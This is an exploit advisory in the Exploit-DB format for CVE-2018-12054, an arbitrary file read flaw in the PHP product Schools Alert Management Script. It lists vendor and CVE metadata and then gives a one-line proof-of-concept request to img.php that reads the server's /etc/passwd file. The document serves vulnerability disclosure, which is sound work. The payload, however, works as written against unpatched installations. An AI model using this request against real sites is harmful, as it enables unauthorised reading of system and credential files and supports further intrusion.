Schools Alert Management Script - Arbitrary File Read

# Exploit Title: Schools Alert Management Script - Arbitrary File Read
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/4
# Tested on: Linux Mint
# CVE: CVE-2018-12054

# Proof of Concept：

/img.php?f=/./etc/./passwd